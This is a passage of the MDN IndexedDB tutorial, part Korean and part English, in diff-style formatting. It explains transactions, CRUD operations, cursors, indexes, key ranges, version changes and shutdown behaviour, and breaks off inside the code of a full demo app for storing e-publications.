트랜잭션은 다음 세 개의 DOM 이벤트를 받을 수 있습니다: error, abort, 그리고 complete. 우리는 error 이벤트가 어떻게 버블링되는지에 대해 이미 이야기했으며, 이에 따라서 트랜잭션은 요청으로부터 발생하는 모든 에러 이벤트를 받아들입니다. 여기서 더욱 애매한 점은 에러를 처리하는 가장 기본적인 방식이 에러가 발생한 트랜잭션을 취소하는 것이라는 점입니다. 당신이 우선 stopPropagation()을 이용해 에러를 처리하고 난 후에 다른 행동을 하려고 해도, 전체 트랜잭션은 이미 롤백된 상황일 것입니다. 이러한 디자인은 당신이 에러 처리에 대해서 생각하도록 강제하지만, 만일 잘 정제된 에러 핸들링을 모든 트랜잭션에 만드는 것이 너무 번거롭다면 당신은 데이터베이스에 항상 캐치올 에러 핸들러(catchall error handler)를 추가하도록 설정할 수 있습니다. 당신이 만약 에러를 제어하지 않았거나 트랜잭션에서  abort()를 호출할 경우, 트랜잭션은 롤백되고 abort 이벤트는 취소될 것입니다. 반면, 트랜잭션에 대한 모든 요청이 정상적으로 처리되었을 경우엔 complete 이벤트를 반환합니다. 만일 당신이 매우 많은 데이터베이스 작업을 수행하고 있다면, 데이터베이스에 대한 개별 요청을 추적하는것보단 트랜잭션을 추적하는 것이 정신 건강에 이로울 것입니다.

+ +

이제 당신이 트랜잭션을 만들었고, 당신은 그 트랜잭션을 통해 오브젝트 스토어에 접근해야 하는 상황이라고 가정해 봅시다. 트랜잭션은 당신이 트랜잭션을 만들 때 지정한 오브젝트 스토어만 사용할 수 있게 해줍니다. 그러고 나면 당신은 원하는 모든 데이터를 그곳에 추가할 수 있습니다.

+ +
// Do something when all the data is added to the database.
+transaction.oncomplete = function(event) {
+  alert("All done!");
+};
+
+transaction.onerror = function(event) {
+  // Don't forget to handle errors!
+};
+
+var objectStore = transaction.objectStore("customers");
+for (var i in customerData) {
+  var request = objectStore.add(customerData[i]);
+  request.onsuccess = function(event) {
+    // event.target.result == customerData[i].ssn
+  };
+}
+ +

호출에서 add()까지의 과정에서 생성된 트랜잭션의 result는 추가된 데이터의 키와 같습니다. 따라서 이 경우, 오브젝트 스토어가 ssn 속성을 키 패스로 사용하기 때문에 추가된 데이터의 ssn 속성과 같은 값을 가질 것입니다. add() 함수를 사용할 때 같은 키를 가진 데이터가 데이터베이스 안에 존재하지 않아야 한다는 점에 주의하십시오. 만일 당신이 이미 존재하는 데이터를 수정하고 싶거나, 혹은 이미 데이터가 있건 말건 상관 없다면 문서 아래쪽의 {{ anch("Updating an entry in the database") }} 부분에서 소개하는 put() 함수를 사용하십시오. 

+ +

데이터베이스로부터 데이터를 지우기

+ +

데이터 삭제는 아주 익숙한 그 방식대로 하시면 됩니다:

+ +
var request = db.transaction(["customers"], "readwrite")
+                .objectStore("customers")
+                .delete("444-44-4444");
+request.onsuccess = function(event) {
+  // It's gone!
+};
+ +

데이터베이스로부터 데이터 가져오기

+ +

이제 데이터베이스 안에 정보도 들어 있겠다, 몇 가지 방법을 통해 정보를 가져와 봅시다. 가장 먼저, 가장 단순한 get()을 사용해 봅시다. 데이터를 가져오기 위해 당신은 키를 제공해야합니다. 이렇게:

+ +
var transaction = db.transaction(["customers"]);
+var objectStore = transaction.objectStore("customers");
+var request = objectStore.get("444-44-4444");
+request.onerror = function(event) {
+  // Handle errors!
+};
+request.onsuccess = function(event) {
+  // Do something with the request.result!
+  alert("Name for SSN 444-44-4444 is " + request.result.name);
+};
+ +

"단순히" 가져오는 것 치고는 코드가 좀 많군요. 당신이 데이터베이스 수준에서 에러를 제어하고 있다면, 아래와 같이 간략화할 수도 있습니다:

+ +
db.transaction("customers").objectStore("customers").get("444-44-4444").onsuccess = function(event) {
+  alert("Name for SSN 444-44-4444 is " + event.target.result.name);
+};
+ +

어떻게 작동하는지 보이시나요? 오브젝트 스토어가 하나 뿐이기 때문에, 당신의 트랜잭션에서 필요한 오브젝트 스토어들의 리스트를 보낼 필요 없이 그냥 이름만 String으로 보내면 됩니다. 또한, 당신은 데이터베이스에서 읽기만 했기 때문에,  "readwrite" 트랜잭션은 필요하지 않습니다. transaction()을 특정한 모드 설정 없이 그냥 부를 경우엔 기본적으로 "readonly" 트랜잭션이 됩니다. 또 하나 신비한 점은 당신은 요청한 오브젝트를 따로 특정한 변수에 저장하지 않았다는 점입니다. DOM 이벤트는 요청을 대상으로 할 때 이벤트를 사용하여 result의 값을 불러올 수 있습니다.

+ +

범위 제한과 모드 설정에 따라 데이터 접근 속도를 빠르게 할 수 있다는 점을 주목하십시오. 여기 몇개의 팁이 있습니다:

+ + + +

데이터베이스의 내용을 업데이트하기

+ +

이제 우리는 몇 개의 데이터를 꺼냈습니다. 이 데이터를 업데이트하고 다시 IndexedDB에 집어넣는 것은 매우 간단합니다. 이전 예제를 약간 업데이트해 봅시다:

+ +
var objectStore = db.transaction(["customers"], "readwrite").objectStore("customers");
+var request = objectStore.get("444-44-4444");
+request.onerror = function(event) {
+  // Handle errors!
+};
+request.onsuccess = function(event) {
+  // Get the old value that we want to update
+  var data = event.target.result;
+
+  // update the value(s) in the object that you want to change
+  data.age = 42;
+
+  // Put this updated object back into the database.
+  var requestUpdate = objectStore.put(data);
+   requestUpdate.onerror = function(event) {
+     // Do something with the error
+   };
+   requestUpdate.onsuccess = function(event) {
+     // Success - the data is updated!
+   };
+};
+ +

이제 우리는 objectStore를 만들고 사회보장번호(SSN)가 (444-44-4444)인 고객 레코드를 요청했습니다. 그리고 우리는 그 결과를 변수(data)에 넣고, 이 객체의 age 속성을 업데이트하여, 두 번째 요청(requestUpdate)을 만들어 고객 레코드를 다시 objectStore에 집어넣어 이전 값을 덮어썼습니다.

+ +
+

Note: 이 때 우리는 readwrite 모드를 사용해야 합니다. 우리가 지금 한 것은 단순히 데이터를 읽어오는 게 아니라, 다시 쓰는 것이기 때문입니다.

+
+ +

Using a cursor

+ +

Using get() requires that you know which key you want to retrieve. If you want to step through all the values in your object store, then you can use a cursor. Here's what it looks like:

+ +
var objectStore = db.transaction("customers").objectStore("customers");
+
+objectStore.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    alert("Name for SSN " + cursor.key + " is " + cursor.value.name);
+    cursor.continue();
+  }
+  else {
+    alert("No more entries!");
+  }
+};
+ +

The openCursor() function takes several arguments. First, you can limit the range of items that are retrieved by using a key range object that we'll get to in a minute. Second, you can specify the direction that you want to iterate. In the above example, we're iterating over all objects in ascending order. The success callback for cursors is a little special. The cursor object itself is the result of the request (above we're using the shorthand, so it's event.target.result). Then the actual key and value can be found on the key and value properties of the cursor object. If you want to keep going, then you have to call continue() on the cursor. When you've reached the end of the data (or if there were no entries that matched your openCursor() request) you still get a success callback, but the result property is undefined.

+ +

One common pattern with cursors is to retrieve all objects in an object store and add them to an array, like this:

+ +
var customers = [];
+
+objectStore.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    customers.push(cursor.value);
+    cursor.continue();
+  }
+  else {
+    alert("Got all customers: " + customers);
+  }
+};
+ +
+

Note: Mozilla has also implemented getAll() to handle this case (and getAllKeys(), which is currently hidden behind the dom.indexedDB.experimental preference in about:config). These aren't part of the IndexedDB standard, so they may disappear in the future. We've included them because we think they're useful. The following code does precisely the same thing as above:

+ +
objectStore.getAll().onsuccess = function(event) {
+  alert("Got all customers: " + event.target.result);
+};
+ +

There is a performance cost associated with looking at the value property of a cursor, because the object is created lazily. When you use getAll() for example, Gecko must create all the objects at once. If you're just interested in looking at each of the keys, for instance, it is much more efficient to use a cursor than to use getAll(). If you're trying to get an array of all the objects in an object store, though, use getAll().

+
+ +

Using an index

+ +

Storing customer data using the SSN as a key is logical since the SSN uniquely identifies an individual. (Whether this is a good idea for privacy is a different question, outside the scope of this article.) If you need to look up a customer by name, however, you'll need to iterate over every SSN in the database until you find the right one. Searching in this fashion would be very slow, so instead you can use an index.

+ +
// First, make sure you created index in request.onupgradeneeded:
+// objectStore.createIndex("name", "name");
+// Otherwize you will get DOMException.
+
+var index = objectStore.index("name");
+
+index.get("Donna").onsuccess = function(event) {
+  alert("Donna's SSN is " + event.target.result.ssn);
+};
+ +

The "name" cursor isn't unique, so there could be more than one entry with the name set to "Donna". In that case you always get the one with the lowest key value.

+ +

If you need to access all the entries with a given name you can use a cursor. You can open two different types of cursors on indexes. A normal cursor maps the index property to the object in the object store. A key cursor maps the index property to the key used to store the object in the object store. The differences are illustrated here:

+ +
// Using a normal cursor to grab whole customer record objects
+index.openCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // cursor.key is a name, like "Bill", and cursor.value is the whole object.
+    alert("Name: " + cursor.key + ", SSN: " + cursor.value.ssn + ", email: " + cursor.value.email);
+    cursor.continue();
+  }
+};
+
+// Using a key cursor to grab customer record object keys
+index.openKeyCursor().onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // cursor.key is a name, like "Bill", and cursor.value is the SSN.
+    // No way to directly get the rest of the stored object.
+    alert("Name: " + cursor.key + ", SSN: " + cursor.primaryKey);
+    cursor.continue();
+  }
+};
+ +

Specifying the range and direction of cursors

+ +

If you would like to limit the range of values you see in a cursor, you can use a key range object and pass it as the first argument to openCursor() or openKeyCursor(). You can make a key range that only allows a single key, or one the has a lower or upper bound, or one that has both a lower and upper bound. The bound may be "closed" (i.e., the key range includes the given value) or "open" (i.e., the key range does not include the given value). Here's how it works:

+ +
// Only match "Donna"
+var singleKeyRange = IDBKeyRange.only("Donna");
+
+// Match anything past "Bill", including "Bill"
+var lowerBoundKeyRange = IDBKeyRange.lowerBound("Bill");
+
+// Match anything past "Bill", but don't include "Bill"
+var lowerBoundOpenKeyRange = IDBKeyRange.lowerBound("Bill", true);
+
+// Match anything up to, but not including, "Donna"
+var upperBoundOpenKeyRange = IDBKeyRange.upperBound("Donna", true);
+
+// Match anything between "Bill" and "Donna", but not including "Donna"
+var boundKeyRange = IDBKeyRange.bound("Bill", "Donna", false, true);
+
+// To use one of the key ranges, pass it in as the first argument of openCursor()/openKeyCursor()
+index.openCursor(boundKeyRange).onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the matches.
+    cursor.continue();
+  }
+};
+ +

Sometimes you may want to iterate in descending order rather than in ascending order (the default direction for all cursors). Switching direction is accomplished by passing prev to the openCursor() function:

+ +
objectStore.openCursor(boundKeyRange, "prev").onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};
+ +

If you just want to specify a change of direction but not constrain the results shown, you can just pass in null as the first argument:

+ +
objectStore.openCursor(null, "prev").onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};
+ +

Since the "name" index isn't unique, there might be multiple entries where name is the same. Note that such a situation cannot occur with object stores since the key must always be unique. If you wish to filter out duplicates during cursor iteration over indexes, you can pass nextunique (or prevunique if you're going backwards) as the direction parameter. When nextunique or prevunique is used, the entry with the lowest key is always the one returned.

+ +
index.openKeyCursor(null, "nextunique").onsuccess = function(event) {
+  var cursor = event.target.result;
+  if (cursor) {
+    // Do something with the entries.
+    cursor.continue();
+  }
+};
+ +

Please see "IDBCursor Constants" for the valid direction arguments.

+ +

Version changes while a web app is open in another tab

+ +

When your web app changes in such a way that a version change is required for your database, you need to consider what happens if the user has the old version of your app open in one tab and then loads the new version of your app in another. When you call open() with a greater version than the actual version of the database, all other open databases must explicitly acknowledge the request before you can start making changes to the database. Here's how it works:

+ +
var openReq = mozIndexedDB.open("MyTestDatabase", 2);
+
+openReq.onblocked = function(event) {
+  // If some other tab is loaded with the database, then it needs to be closed
+  // before we can proceed.
+  alert("Please close all other tabs with this site open!");
+};
+
+openReq.onupgradeneeded = function(event) {
+  // All other databases have been closed. Set everything up.
+  db.createObjectStore(/* ... */);
+  useDatabase(db);
+}
+
+openReq.onsuccess = function(event) {
+  var db = event.target.result;
+  useDatabase(db);
+  return;
+}
+
+function useDatabase(db) {
+  // Make sure to add a handler to be notified if another page requests a version
+  // change. We must close the database. This allows the other page to upgrade the database.
+  // If you don't do this then the upgrade won't happen until the user close the tab.
+  db.onversionchange = function(event) {
+    db.close();
+    alert("A new version of this page is ready. Please reload!");
+  };
+
+  // Do stuff with the database.
+}
+
+ +

You should also listen for VersionError errors to handle the situation where already opened apps may initiate code leading to a new attempt to open the database, but using an outdated version.

+ +

Security

+ +

IndexedDB uses the same-origin principle, which means that it ties the store to the origin of the site that creates it (typically, this is the site domain or subdomain), so it cannot be accessed by any other origin.

+ +

Third party window content (e.g. {{htmlelement("iframe")}} content) can access the IndexedDB store for the origin it is embedded into, unless the browser is set to never accept third party cookies (see {{bug("1147821")}}.)

+ +

Warning about browser shutdown

+ +

When the browser shuts down (because the user chose the Quit or Exit option), the disk containing the database is removed unexpectedly, or permissions are lost to the database store, the following things happen:

+ +
    +
  1. Each transaction on every affected database (or all open databases, in the case of browser shutdown) is aborted with an AbortError. The effect is the same as if {{domxref("IDBTransaction.abort()")}} is called on each transaction.
  2. +
  3. Once all of the transactions have completed, the database connection is closed.
  4. +
  5. Finally, the {{domxref("IDBDatabase")}} object representing the database connection receives a {{event("close")}} event. You can use the {{domxref("IDBDatabase.onclose")}} event handler to listen for these events, so that you know when a database is unexpectedly closed.
  6. +
+ +

The behavior described above is new, and is only available as of the following browser releases: Firefox 50, Google Chrome 31 (approximately).

+ +

Prior to these browser versions, the transactions are aborted silently, and no {{event("close")}} event is fired, so there is no way to detect an unexpected database closure.

+ +

Since the user can exit the browser at any time, this means that you cannot rely upon any particular transaction to complete, and on older browsers, you don't even get told when they don't complete. There are several implications of this behavior.

+ +

First, you should take care to always leave your database in a consistent state at the end of every transaction. For example, suppose that you are using IndexedDB to store a list of items that you allow the user to edit. You save the list after the edit by clearing the object store and then writing out the new list. If you clear the object store in one transaction and write the new list in another transaction, there is a danger that the browser will close after the clear but before the write, leaving you with an empty database. To avoid this, you should combine the clear and the write into a single transaction. 

+ +

Second, you should never tie database transactions to unload events. If the unload event is triggered by the browser closing, any transactions created in the unload event handler will never complete. An intuitive approach to maintaining some information across browser sessions is to read it from the database when the browser (or a particular page) is opened, update it as the user interacts with the browser, and then save it to the database when the browser (or page) closes. However, this will not work. The database transactions will be created in the unload event handler, but because they are asynchronous they will be aborted before they can execute.

+ +

In fact, there is no way to guarantee that IndexedDB transactions will complete, even with normal browser shutdown. See {{ bug(870645) }}. As a workaround for this normal shutdown notification, you might track your transactions and add a beforeunload event to warn the user if any transactions have not yet completed at the time of unloading.

+ +

At least with the addition of the abort notifications and {{domxref("IDBDatabase.onclose")}}, you can know when this has happened.

+ +

Locale-aware sorting

+ +

Mozilla has implemented the ability to perform locale-aware sorting of IndexedDB data in Firefox 43+. By default, IndexedDB didn’t handle internationalization of sorting strings at all, and everything was sorted as if it were English text. For example, b, á, z, a would be sorted as:

+ + + +

which is obviously not how users want their data to be sorted — Aaron and Áaron for example should go next to one another in a contacts list. Achieving proper international sorting therefore required the entire dataset to be called into memory, and sorting to be performed by client-side JavaScript, which is not very efficient.

+ +

This new functionality enables developers to specify a locale when creating an index using {{domxref("IDBObjectStore.createIndex()")}} (check out its parameters.) In such cases, when a cursor is then used to iterate through the dataset, and you want to specify locale-aware sorting, you can use a specialized {{domxref("IDBLocaleAwareKeyRange")}}.

+ +

{{domxref("IDBIndex")}} has also had new properties added to it to specify if it has a locale specified, and what it is: locale (returns the locale if any, or null if none is specified) and isAutoLocale (returns true if the index was created with an auto locale, meaning that the platform's default locale is used, false otherwise.)

+ +
+

Note: This feature is currently hidden behind a flag — to enable it and experiment, go to about:config and enable dom.indexedDB.experimental.

+
+ +

Full IndexedDB example

+ +

HTML Content

+ +
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
+
+    <h1>IndexedDB Demo: storing blobs, e-publication example</h1>
+    <div class="note">
+      <p>
+        Works and tested with:
+      </p>
+      <div id="compat">
+      </div>
+    </div>
+
+    <div id="msg">
+    </div>
+
+    <form id="register-form">
+      <table>
+        <tbody>
+          <tr>
+            <td>
+              <label for="pub-title" class="required">
+                Title:
+              </label>
+            </td>
+            <td>
+              <input type="text" id="pub-title" name="pub-title" />
+            </td>
+          </tr>
+          <tr>
+            <td>
+              <label for="pub-biblioid" class="required">
+                Bibliographic ID:<br/>
+                <span class="note">(ISBN, ISSN, etc.)</span>
+              </label>
+            </td>
+            <td>
+              <input type="text" id="pub-biblioid" name="pub-biblioid"/>
+            </td>
+          </tr>
+          <tr>
+            <td>
+              <label for="pub-year">
+                Year:
+              </label>
+            </td>
+            <td>
+              <input type="number" id="pub-year" name="pub-year" />
+            </td>
+          </tr>
+        </tbody>
+        <tbody>
+          <tr>
+            <td>
+              <label for="pub-file">
+                File image:
+              </label>
+            </td>
+            <td>
+              <input type="file" id="pub-file"/>
+            </td>
+          </tr>
+          <tr>
+            <td>
+              <label for="pub-file-url">
+                Online-file image URL:<br/>
+                <span class="note">(same origin URL)</span>
+              </label>
+            </td>
+            <td>
+              <input type="text" id="pub-file-url" name="pub-file-url"/>
+            </td>
+          </tr>
+        </tbody>
+      </table>
+
+      <div class="button-pane">
+        <input type="button" id="add-button" value="Add Publication" />
+        <input type="reset" id="register-form-reset"/>
+      </div>
+    </form>
+
+    <form id="delete-form">
+      <table>
+        <tbody>
+          <tr>
+            <td>
+              <label for="pub-biblioid-to-delete">
+                Bibliographic ID:<br/>
+                <span class="note">(ISBN, ISSN, etc.)</span>
+              </label>
+            </td>
+            <td>
+              <input type="text" id="pub-biblioid-to-delete"
+                     name="pub-biblioid-to-delete" />
+            </td>
+          </tr>
+          <tr>
+            <td>
+              <label for="key-to-delete">
+                Key:<br/>
+                <span class="note">(for example 1, 2, 3, etc.)</span>
+              </label>
+            </td>
+            <td>
+              <input type="text" id="key-to-delete"
+                     name="key-to-delete" />
+            </td>
+          </tr>
+        </tbody>
+      </table>
+      <div class="button-pane">
+        <input type="button" id="delete-button" value="Delete Publication" />
+        <input type="button" id="clear-store-button"
+               value="Clear the whole store" class="destructive" />
+      </div>
+    </form>
+
+    <form id="search-form">
+      <div class="button-pane">
+        <input type="button" id="search-list-button"
+               value="List database content" />
+      </div>
+    </form>
+
+    <div>
+      <div id="pub-msg">
+      </div>
+      <div id="pub-viewer">
+      </div>
+      <ul id="pub-list">
+      </ul>
+    </div>
+ +

CSS Content

+ +
body {
+  font-size: 0.8em;
+  font-family: Sans-Serif;
+}
+
+form {
+  background-color: #cccccc;
+  border-radius: 0.3em;
+  display: inline-block;
+  margin-bottom: 0.5em;
+  padding: 1em;
+}
+
+table {
+  border-collapse: collapse;
+}
+
+input {
+  padding: 0.3em;
+  border-color: #cccccc;
+  border-radius: 0.3em;
+}
+
+.required:after {
+  content: "*";
+  color: red;
+}
+
+.button-pane {
+  margin-top: 1em;
+}
+
+#pub-viewer {
+  float: right;
+  width: 48%;
+  height: 20em;
+  border: solid #d092ff 0.1em;
+}
+#pub-viewer iframe {
+  width: 100%;
+  height: 100%;
+}
+
+#pub-list {
+  width: 46%;
+  background-color: #eeeeee;
+  border-radius: 0.3em;
+}
+#pub-list li {
+  padding-top: 0.5em;
+  padding-bottom: 0.5em;
+  padding-right: 0.5em;
+}
+
+#msg {
+  margin-bottom: 1em;
+}
+
+.action-success {
+  padding: 0.5em;
+  color: #00d21e;
+  background-color: #eeeeee;
+  border-radius: 0.2em;
+}
+
+.action-failure {
+  padding: 0.5em;
+  color: #ff1408;
+  background-color: #eeeeee;
+  border-radius: 0.2em;
+}
+
+.note {
+  font-size: smaller;
+}
+
+.destructive {
+  background-color: orange;
+}
+.destructive:hover {
+  background-color: #ff8000;
+}
+.destructive:active {
+  background-color: red;
+}
+ +

JavaScript Content

+ +
(function () {
+  var COMPAT_ENVS = [
+    ['Firefox', ">= 16.0"],
+    ['Google Chrome',
+     ">= 24.0 (you may need to get Google Chrome Canary), NO Blob storage support"]
+  ];
+  var compat = $('#compat');
+  compat.empty();
+  compat.append('<ul id="compat-list"></ul>');
+  COMPAT_ENVS.forEach(function(val, idx, array) {
+    $('#compat-list').append('<li>' + val[0] + ': ' + val[1] + '</li>');
+  });
+
+  const DB_NAME = 'mdn-demo-indexeddb-epublications';
+  const DB_VERSION = 1; // Use a long long for this value (don't use a float)
+  const DB_STORE_NAME = 'publications';
+
+  var db;
+
+  // Used to keep track of which view is displayed to avoid uselessly reloading it
+  var current_view_pub_key;
+
+  function openDb() {
+    console.log("openDb ...");
+    var req = indexedDB.open(DB_NAME, DB_VERSION);
+    req.onsuccess = function (evt) {
+      // Better use "this" than "req" to get the result to avoid problems with
+      // garbage collection.
+      // db = req.result;
+      db = this.result;
+      console.log("openDb DONE");
+    };
+    req.onerror = function (evt) {
+      console.error("openDb:", evt.target.errorCode);
+    };
+
+    req.onupgradeneeded = function (evt) {
+      console.log("openDb.onupgradeneeded");
+      var store = evt.currentTarget.result.createObjectStore(
+        DB_STORE_NAME, { keyPath: 'id', autoIncrement: true });
+
+      store.createIndex('biblioid', 'biblioid', { unique: true });
+      store.createIndex('title', 'title', { unique: false });
+      store.createIndex('year', 'year', { unique: false });
+    };
+  }
+
+  /**
+   * @param {string} store_name
+   * @param {string} mode either "readonly" or "readwrite"
+   */
+  function getObjectStore(store_name, mode) {
+    var tx = db.transaction(store_name, mode);
+    return tx.objectStore(store_name);
+  }
+
+  function clearObjectStore(store_name) {
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req = store.clear();
+    req.onsuccess = function(evt) {
+      displayActionSuccess("Store cleared");
+      displayPubList(store);
+    };
+    req.onerror = function (evt) {
+      console.error("clearObjectStore:", evt.target.errorCode);
+      displayActionFailure(this.error);
+    };
+  }
+
+  function getBlob(key, store, success_callback) {
+    var req = store.get(key);
+    req.onsuccess = function(evt) {
+      var value = evt.target.result;
+      if (value)
+        success_callback(value.blob);
+    };
+  }
+
+  /**
+   * @param {IDBObjectStore=} store
+   */
+  function displayPubList(store) {
+    console.log("displayPubList");
+
+    if (typeof store == 'undefined')
+      store = getObjectStore(DB_STORE_NAME, 'readonly');
+
+    var pub_msg = $('#pub-msg');
+    pub_msg.empty();
+    var pub_list = $('#pub-list');
+    pub_list.empty();
+    // Resetting the iframe so that it doesn't display previous content
+    newViewerFrame();
+
+    var req;
+    req = store.count();
+    // Requests are executed in the order in which they were made against the
+    // transaction, and their results are returned in the same order.
+    // Thus the count text below will be displayed before the actual pub list
+    // (not that it is algorithmically important in this case).
+    req.onsuccess = function(evt) {
+      pub_msg.append('<p>There are <strong>' + evt.target.result +
+                     '</strong> record(s) in the object store.</p>');
+    };
+    req.onerror = function(evt) {
+      console.error("add error", this.error);
+      displayActionFailure(this.error);
+    };
+
+    var i = 0;
+    req = store.openCursor();
+    req.onsuccess = function(evt) {
+      var cursor = evt.target.result;
+
+      // If the cursor is pointing at something, ask for the data
+      if (cursor) {
+        console.log("displayPubList cursor:", cursor);
+        req = store.get(cursor.key);
+        req.onsuccess = function (evt) {
+          var value = evt.target.result;
+          var list_item = $('<li>' +
+                            '[' + cursor.key + '] ' +
+                            '(biblioid: ' + value.biblioid + ') ' +
+                            value.title +
+                            '</li>');
+          if (value.year != null)
+            list_item.append(' - ' + value.year);
+
+          if (value.hasOwnProperty('blob') &&
+              typeof value.blob != 'undefined') {
+            var link = $('<a href="' + cursor.key + '">File</a>');
+            link.on('click', function() { return false; });
+            link.on('mouseenter', function(evt) {
+                      setInViewer(evt.target.getAttribute('href')); });
+            list_item.append(' / ');
+            list_item.append(link);
+          } else {
+            list_item.append(" / No attached file");
+          }
+          pub_list.append(list_item);
+        };
+
+        // Move on to the next object in store
+        cursor.continue();
+
+        // This counter serves only to create distinct ids
+        i++;
+      } else {
+        console.log("No more entries");
+      }
+    };
+  }
+
+  function newViewerFrame() {
+    var viewer = $('#pub-viewer');
+    viewer.empty();
+    var iframe = $('<iframe />');
+    viewer.append(iframe);
+    return iframe;
+  }
+
+  function setInViewer(key) {
+    console.log("setInViewer:", arguments);
+    key = Number(key);
+    if (key == current_view_pub_key)
+      return;
+
+    current_view_pub_key = key;
+
+    var store = getObjectStore(DB_STORE_NAME, 'readonly');
+    getBlob(key, store, function(blob) {
+      console.log("setInViewer blob:", blob);
+      var iframe = newViewerFrame();
+
+      // It is not possible to set a direct link to the
+      // blob to provide a mean to directly download it.
+      if (blob.type == 'text/html') {
+        var reader = new FileReader();
+        reader.onload = (function(evt) {
+          var html = evt.target.result;
+          iframe.load(function() {
+            $(this).contents().find('html').html(html);
+          });
+        });
+        reader.readAsText(blob);
+      } else if (blob.type.indexOf('image/') == 0) {
+        iframe.load(function() {
+          var img_id = 'image-' + key;
+          var img = $('<img id="' + img_id + '"/>');
+          $(this).contents().find('body').html(img);
+          var obj_url = window.URL.createObjectURL(blob);
+          $(this).contents().find('#' + img_id).attr('src', obj_url);
+          window.URL.revokeObjectURL(obj_url);
+        });
+      } else if (blob.type == 'application/pdf') {
+        $('*').css('cursor', 'wait');
+        var obj_url = window.URL.createObjectURL(blob);
+        iframe.load(function() {
+          $('*').css('cursor', 'auto');
+        });
+        iframe.attr('src', obj_url);
+        window.URL.revokeObjectURL(obj_url);
+      } else {
+        iframe.load(function() {
+          $(this).contents().find('body').html("No view available");
+        });
+      }
+
+    });
+  }
+
+  /**
+   * @param {string} biblioid
+   * @param {string} title
+   * @param {number} year
+   * @param {string} url the URL of the image to download and store in the local
+   *   IndexedDB database. The resource behind this URL is subjected to the
+   *   "Same origin policy", thus for this method to work, the URL must come from
+   *   the same origin as the web site/app this code is deployed on.
+   */
+  function addPublicationFromUrl(biblioid, title, year, url) {
+    console.log("addPublicationFromUrl:", arguments);
+
+    var xhr = new XMLHttpRequest();
+    xhr.open('GET', url, true);
+    // Setting the wanted responseType to "blob"
+    // http://www.w3.org/TR/XMLHttpRequest2/#the-response-attribute
+    xhr.responseType = 'blob';
+    xhr.onload = function (evt) {
+      if (xhr.status == 200) {
+        console.log("Blob retrieved");
+        var blob = xhr.response;
+        console.log("Blob:", blob);
+        addPublication(biblioid, title, year, blob);
+      } else {
+        console.error("addPublicationFromUrl error:",
+        xhr.responseText, xhr.status);
+      }
+    };
+    xhr.send();
+
+    // We can't use jQuery here because as of jQuery 1.8.3 the new "blob"
+    // responseType is not handled.
+    // http://bugs.jquery.com/ticket/11461
+    // http://bugs.jquery.com/ticket/7248
+    // $.ajax({
+    //   url: url,
+    //   type: 'GET',
+    //   xhrFields: { responseType: 'blob' },
+    //   success: function(data, textStatus, jqXHR) {
+    //     console.log("Blob retrieved");
+    //     console.log("Blob:", data);
+    //     // addPublication(biblioid, title, year, data);
+    //   },
+    //   error: function(jqXHR, textStatus, errorThrown) {
+    //     console.error(errorThrown);
+    //     displayActionFailure("Error during blob retrieval");
+    //   }
+    // });
+  }
+
+  /**
+   * @param {string} biblioid
+   * @param {string} title
+   * @param {number} year
+   * @param {Blob=} blob
+   */
+  function addPublication(biblioid, title, year, blob) {
+    console.log("addPublication arguments:", arguments);
+    var obj = { biblioid: biblioid, title: title, year: year };
+    if (typeof blob != 'undefined')
+      obj.blob = blob;
+
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req;
+    try {
+      req = store.add(obj);
+    } catch (e) {
+      if (e.name == 'DataCloneError')
+        displayActionFailure("This engine doesn't know how to clone a Blob, " +
+                             "use Firefox");
+      throw e;
+    }
+    req.onsuccess = function (evt) {
+      console.log("Insertion in DB successful");
+      displayActionSuccess();
+      displayPubList(store);
+    };
+    req.onerror = function() {
+      console.error("addPublication error", this.error);
+      displayActionFailure(this.error);
+    };
+  }
+
+  /**
+   * @param {string} biblioid
+   */
+  function deletePublicationFromBib(biblioid) {
+    console.log("deletePublication:", arguments);
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req = store.index('biblioid');
+    req.get(biblioid).onsuccess = function(evt) {
+      if (typeof evt.target.result == 'undefined') {
+        displayActionFailure("No matching record found");
+        return;
+      }
+      deletePublication(evt.target.result.id, store);
+    };
+    req.onerror = function (evt) {
+      console.error("deletePublicationFromBib:", evt.target.errorCode);
+    };
+  }
+
+  /**
+   * @param {number} key
+   * @param {IDBObjectStore=} store
+   */
+  function deletePublication(key, store) {
+    console.log("deletePublication:", arguments);
+
+    if (typeof store == 'undefined')
+      store = getObjectStore(DB_STORE_NAME, 'readwrite');
+
+    // As per spec http://www.w3.org/TR/IndexedDB/#object-store-deletion-operation
+    // the result of the Object Store Deletion Operation algorithm is
+    // undefined, so it's not possible to know if some records were actually
+    // deleted by looking at the request result.
+    var req = store.get(key);
+    req.onsuccess = function(evt) {
+      var record = evt.target.result;
+      console.log("record:", record);
+      if (typeof record == 'undefined') {
+        displayActionFailure("No matching record found");
+        return;
+      }
+      // Warning: The exact same key used for creation needs to be passed for
+      // the deletion. If the key was a Number for creation, then it needs to
+      // be a Number for deletion.
+      req = store.delete(key);
+      req.onsuccess = function(evt) {
+        console.log("evt:", evt);
+        console.log("evt.target:", evt.target);
+        console.log("evt.target.result:", evt.target.result);
+        console.log("delete successful");
+        displayActionSuccess("Deletion successful");
+        displayPubList(store);
+      };
+      req.onerror = function (evt) {
+        console.error("deletePublication:", evt.target.errorCode);
+      };
+    };
+    req.onerror = function (evt) {
+      console.error("deletePublication:", evt.target.errorCode);
+    };
+  }
+
+  function displayActionSuccess(msg) {
+    msg = typeof msg != 'undefined' ? "Success: " + msg : "Success";
+    $('#msg').html('<span class="action-success">' + msg + '</span>');
+  }
+  function displayActionFailure(msg) {
+    msg = typeof msg != 'undefined' ? "Failure: " + msg : "Failure";
+    $('#msg').html('<span class="action-failure">' + msg + '</span>');
+  }
+  function resetActionStatus() {
